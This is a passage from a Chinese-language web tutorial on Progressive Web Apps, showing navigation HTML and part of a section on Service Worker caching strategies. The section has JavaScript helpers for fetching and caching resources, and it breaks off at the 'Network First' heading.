data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >5.3 资源请求响应策略</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><b></b>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><b></b>&#x51C6;&#x5907;&#x5DE5;&#x4F5C;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;\"><b></b>&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x516C;&#x7528;&#x65B9;&#x6CD5;\"><b></b>&#x516C;&#x7528;&#x65B9;&#x6CD5;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#network-first\"><b></b>Network First</a></li><li><span class=\"title-icon \"></span><a href=\"#cache-first\"><b></b>Cache First</a></li><li><span class=\"title-icon \"></span><a href=\"#network-only\"><b></b>Network Only</a></li><li><span class=\"title-icon \"></span><a href=\"#cache-only\"><b></b>Cache Only</a></li><li><span class=\"title-icon \"></span><a href=\"#stale-while-revalidate\"><b></b>Stale While Revalidate</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x793A;&#x4F8B;\"><b></b>&#x793A;&#x4F8B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></div><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;</h1>\n<p>&#x5728; Service Worker &#x73AF;&#x5883;&#x4E0B;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; Fetch API &#x53D1;&#x9001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x83B7;&#x53D6;&#x8D44;&#x6E90;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; Cache API&#x3001;IndexedDB &#x7B49;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E2D;&#x83B7;&#x53D6;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#xFF0C;&#x751A;&#x81F3;&#x53EF;&#x4EE5;&#x5728; Service Worker &#x76F4;&#x63A5;&#x751F;&#x6210;&#x4E00;&#x4E2A; Response &#x5BF9;&#x8C61;&#xFF0C;&#x4EE5;&#x4E0A;&#x8FD9;&#x4E9B;&#x90FD;&#x5C5E;&#x4E8E;&#x8D44;&#x6E90;&#x54CD;&#x5E94;&#x7684;&#x6765;&#x6E90;&#x3002;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#x7684;&#x4F5C;&#x7528;&#xFF0C;&#x5C31;&#x662F;&#x7528;&#x6765;&#x89E3;&#x51B3;&#x54CD;&#x5E94;&#x7684;&#x8D44;&#x6E90;&#x4ECE;&#x54EA;&#x91CC;&#x6765;&#x7684;&#x95EE;&#x9898;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x5C06;&#x4ECB;&#x7ECD;&#x4E00;&#x4E9B;&#x5E38;&#x7528;&#x7684;&#x7B56;&#x7565;&#x53CA;&#x5176;&#x7B80;&#x6613;&#x5B9E;&#x73B0;&#xFF0C;&#x8FD9;&#x4E9B;&#x7ED9;&#x51FA;&#x7684;&#x7B56;&#x7565;&#x4EE3;&#x7801;&#x5176;&#x4E3B;&#x8981;&#x4F5C;&#x7528;&#x662F;&#x6F14;&#x793A;&#x7B56;&#x7565;&#x7684;&#x57FA;&#x672C;&#x5B9E;&#x73B0;&#x601D;&#x8DEF;&#x800C;&#x79FB;&#x9664;&#x4E86;&#x4E0D;&#x5C11;&#x5BB9;&#x9519;&#x515C;&#x5E95;&#x7684;&#x76F8;&#x5173;&#x903B;&#x8F91;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x5728;&#x7406;&#x89E3;&#x601D;&#x8DEF;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#x5BF9;&#x8FD9;&#x4E9B;&#x4EE3;&#x7801;&#x8FDB;&#x884C;&#x8865;&#x5145;&#x5B8C;&#x5584;&#xFF0C;&#x5E76;&#x5C1D;&#x8BD5;&#x5E94;&#x7528;&#x5230;&#x5B9E;&#x9645;&#x7684;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x5F53;&#x4E2D;&#x3002;</p>\n<p>&#x7531;&#x4E8E;&#x8FD9;&#x4E9B;&#x7B56;&#x7565;&#x90FD;&#x6D89;&#x53CA;&#x5230;&#x8F83;&#x4E3A;&#x590D;&#x6742;&#x7684;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x4ECB;&#x7ECD;&#x7B56;&#x7565;&#x7684;&#x7F16;&#x7A0B;&#x5B9E;&#x73B0;&#x65F6;&#x5C06;&#x4F1A;&#x4F7F;&#x7528; ES7 &#x7684; Async &#x51FD;&#x6570;&#x8BED;&#x6CD5;&#x6765;&#x7B80;&#x5316;&#x4EE3;&#x7801;&#x903B;&#x8F91;&#x3002;&#x5BF9; Async &#x51FD;&#x6570;&#x4E0D;&#x592A;&#x4E86;&#x89E3;&#x7684;&#x540C;&#x5B66;&#x53EF;&#x4EE5;&#x9996;&#x5148;&#x67E5;&#x770B;&#x7B2C;&#x4E09;&#x7AE0; Async &#x51FD;&#x6570;&#x7684;&#x4ECB;&#x7ECD;&#x8FDB;&#x884C;&#x7B80;&#x8981;&#x5B66;&#x4E60;&#x3002;</p>\n<h2 id=\"&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><a name=\"&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\" class=\"plugin-anchor\" href=\"#&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x51C6;&#x5907;&#x5DE5;&#x4F5C;</h2>\n<p>&#x5728;&#x4ECB;&#x7ECD;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#x524D;&#xFF0C;&#x9996;&#x5148;&#x5F97;&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x7684;&#x4E00;&#x4E9B;&#x57FA;&#x672C;&#x683C;&#x5F0F;&#x4EE5;&#x53CA;&#x58F0;&#x660E;&#x4E00;&#x4E9B;&#x5171;&#x7528;&#x65B9;&#x6CD5;&#x3002;</p>\n<h3 id=\"&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;\"><a name=\"&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;\" class=\"plugin-anchor\" href=\"#&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7EDF;&#x4E00;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;</h3>\n<p>&#x5728;&#x524D;&#x9762;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;&#x4E00;&#x8282;&#x4E2D;&#x6211;&#x4EEC;&#x5C01;&#x88C5;&#x4E86; Router &#x6765;&#x7EDF;&#x4E00;&#x7BA1;&#x7406;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x5206;&#x53D1;&#xFF0C;&#x5BF9;&#x5E94;&#x7684;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x4EE5;&#x5F53;&#x524D;&#x8BF7;&#x6C42;&#x5BF9;&#x8C61; request &#x4E3A;&#x53C2;&#x6570;&#xFF0C;&#x4EE5;&#x54CD;&#x5E94;&#x5BF9;&#x8C61; response&#xFF0C;&#x6216;&#x8005;&#x5F02;&#x6B65;&#x8FD4;&#x56DE; response &#x7684; Promise &#x5BF9;&#x8C61;&#x6700;&#x4E3A;&#x8FD4;&#x56DE;&#x503C;&#xFF0C;&#x8FD9;&#x5C31;&#x6784;&#x6210;&#x4E86;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x7684;&#x57FA;&#x672C;&#x683C;&#x5F0F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">/**\n * &#x7B56;&#x7565;&#x51FD;&#x6570;&#x683C;&#x5F0F;\n *\n * @param  {Request} request &#x5F53;&#x524D;&#x8BF7;&#x6C42;&#x5BF9;&#x8C61;\n * @return {Response|Promise.&lt;Response&gt;} &#x54CD;&#x5E94;&#x5BF9;&#x8C61;\n */</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">strategy</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">request</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n  <span class=\"token keyword\">return</span> response\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x7531;&#x4E8E;&#x8FD9;&#x4E9B;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#x90FD;&#x6216;&#x591A;&#x6216;&#x5C11;&#x5730;&#x4F7F;&#x7528;&#x5230;&#x4E86; Fetch API&#x3001;Cache API &#x7684;&#x529F;&#x80FD;&#xFF0C;&#x4E0D;&#x540C;&#x7684;&#x7B56;&#x7565;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;&#x4E0B;&#x6240;&#x4F7F;&#x7528;&#x7684;&#x914D;&#x7F6E;&#x53EF;&#x80FD;&#x4E0D;&#x4E00;&#x6837;&#xFF0C;&#x4E3A;&#x4E86;&#x5B9E;&#x73B0;&#x7075;&#x6D3B;&#x4E14;&#x89C4;&#x8303;&#x5316;&#x7684;&#x914D;&#x7F6E;&#xFF0C;&#x6211;&#x4EEC;&#x5728;&#x8FD9;&#x91CC;&#x7EDF;&#x4E00;&#x4F7F;&#x7528;&#x9AD8;&#x9636;&#x51FD;&#x6570;&#x7684;&#x5F62;&#x5F0F;&#x8FDB;&#x884C;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">strategyFactory</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// Fetch API &#x914D;&#x7F6E;</span>\n  fetchOptions<span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// Cache &#x540D;&#x79F0;</span>\n  cacheName <span class=\"token operator\">=</span> <span class=\"token string\">&apos;runtime-cache&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// cache.match &#x914D;&#x7F6E;</span>\n  matchOptions\n<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x4F7F;&#x7528; Fetch API &#x53D1;&#x8BF7;&#x6C42;&#x5C31;&#x53EF;&#x4EE5;&#x5C06; fetchOptions &#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#x4F20;&#x5165;&#xFF1A;</span>\n    <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> fetchOptions<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* &#x76F8;&#x5173;&#x5904;&#x7406; */</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// ...</span>\n    <span class=\"token comment\">// &#x4F7F;&#x7528; cacheName &#x83B7;&#x53D6;&#x7F13;&#x5B58;&#x5BF9;&#x8C61;</span>\n    caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">cache</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x4F7F;&#x7528; matchOptions &#x914D;&#x7F6E;&#x67E5;&#x627E;&#x7F13;&#x5B58;</span>\n      cache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> matchOptions<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\">// ...</span>\n    <span class=\"token keyword\">return</span> response\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x5F62;&#x5F0F;&#x7684;&#x51FD;&#x6570;&#x53C2;&#x6570;&#x4F20;&#x5165;&#x5404;&#x9879;&#x914D;&#x7F6E;&#xFF0C;&#x800C;&#x51FD;&#x6570;&#x7684;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#x5C31;&#x662F;&#x914D;&#x7F6E;&#x597D;&#x7684;&#x7B56;&#x7565;&#x51FD;&#x6570;&#x672C;&#x8EAB;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> strategy <span class=\"token operator\">=</span> <span class=\"token function\">strategyFactory</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  fetchOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    mode<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;cors&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  cacheName<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;v1&apos;</span><span class=\"token punctuation\">,</span>\n  matchOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    ignoreSearch<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x914D;&#x5408; Router &#x8FDB;&#x884C;&#x7B56;&#x7565;&#x7684;&#x6CE8;&#x518C;&#x4E0E;&#x4F7F;&#x7528;</span>\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.txt&apos;</span><span class=\"token punctuation\">,</span> strategy<span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x516C;&#x7528;&#x65B9;&#x6CD5;\"><a name=\"&#x516C;&#x7528;&#x65B9;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x516C;&#x7528;&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x516C;&#x7528;&#x65B9;&#x6CD5;\" class=\"plugin-anchor\" href=\"#&#x516C;&#x7528;&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x516C;&#x7528;&#x65B9;&#x6CD5;</h3>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x5B9A;&#x4E49;&#x4E00;&#x4E9B;&#x5E38;&#x7528;&#x7684;&#x65B9;&#x6CD5;&#x4EE5;&#x4FBF;&#x7B80;&#x5316;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x7B56;&#x7565;&#x5B9E;&#x73B0;&#x4EE3;&#x7801;&#x3002;&#x8FD9;&#x4E9B;&#x516C;&#x7528;&#x65B9;&#x6CD5;&#x4EE5;&#x5C40;&#x90E8;&#x65B9;&#x6CD5;&#x7684;&#x5F62;&#x5F0F;&#x5B9A;&#x4E49;&#x5728;&#x7B56;&#x7565;&#x5DE5;&#x5382;&#x51FD;&#x6570;&#x7684;&#x51FD;&#x6570;&#x4F53;&#x5185;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x5230;&#x5DE5;&#x5382;&#x51FD;&#x6570;&#x6240;&#x4F20;&#x5165;&#x7684;&#x53C2;&#x6570;&#x4E86;&#x3002;</p>\n<p><code>cacheResponse()</code> &#x7684;&#x4F5C;&#x7528;&#x662F;&#x5F80;&#x7F13;&#x5B58;&#x4E2D;&#x5199;&#x5165;&#x8D44;&#x6E90;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> <span class=\"token function-variable function\">cacheResponse</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">async</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">request<span class=\"token punctuation\">,</span> response</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x4F7F;&#x7528; cacheName &#x53C2;&#x6570;&#x6253;&#x5F00;&#x7F13;&#x5B58;</span>\n  <span class=\"token keyword\">let</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p><code>getCachedResponse()</code> &#x7684;&#x4F5C;&#x7528;&#x662F;&#x4ECE;&#x7F13;&#x5B58;&#x4E2D;&#x67E5;&#x627E;&#x8D44;&#x6E90;&#x5E76;&#x8FD4;&#x56DE;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> <span class=\"token function-variable function\">getCachedResponse</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">async</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> matchOptions<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p><code>fetchAndCatch()</code> &#x7684;&#x4F5C;&#x7528;&#x662F;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x5E76;&#x4E14;&#x628A;&#x6210;&#x529F;&#x54CD;&#x5E94;&#x7684;&#x5BF9;&#x8C61;&#x5B58;&#x5165;&#x7F13;&#x5B58;&#x4E2D;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> <span class=\"token function-variable function\">fetchAndCatch</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">async</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">.</span><span class=\"token function\">clone</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> fetchOptions<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x8BF7;&#x6C42;&#x8D44;&#x6E90;&#x5931;&#x8D25;&#x65F6;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>response<span class=\"token punctuation\">.</span>ok<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x5C06;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x590D;&#x5236;&#x4E00;&#x4EFD;&#x5B58;&#x5165;&#x7F13;&#x5B58;&#x4E2D;</span>\n  <span class=\"token comment\">// &#x66F4;&#x65B0;&#x7F13;&#x5B58;&#x8FC7;&#x7A0B;&#x65E0;&#x9700;&#x963B;&#x585E;&#x51FD;&#x6570;&#x6267;&#x884C;</span>\n  <span class=\"token function\">cacheResponse</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">.</span><span class=\"token function\">clone</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x540C;&#x65F6;&#x7F13;&#x5B58;&#x66F4;&#x65B0;&#x884C;&#x4E3A;&#x53EA;&#x9700;&#x9759;&#x9ED8;&#x6267;&#x884C;&#x5373;&#x53EF;</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n  <span class=\"token comment\">// &#x8FD4;&#x56DE;&#x54CD;&#x5E94;&#x7ED3;&#x679C;</span>\n  <span class=\"token keyword\">return</span> response\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6709;&#x4E86;&#x8FD9;&#x4E9B;&#x516C;&#x7528;&#x65B9;&#x6CD5;&#xFF0C;&#x540E;&#x9762;&#x7684;&#x7B56;&#x7565;&#x5B9E;&#x73B0;&#x8FC7;&#x7A0B;&#x5C06;&#x53D8;&#x5F97;&#x7B80;&#x5355;&#x5F88;&#x591A;&#x3002;</p>\n<h2 id=\"network-first\"><a name=\"network-first\" class=\"anchor-navigation-ex-anchor\" href=\"#network-first\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"network-first\" class=\"plugin-anchor\" href=\"#network-first\"><i class=\"fa fa-link\" 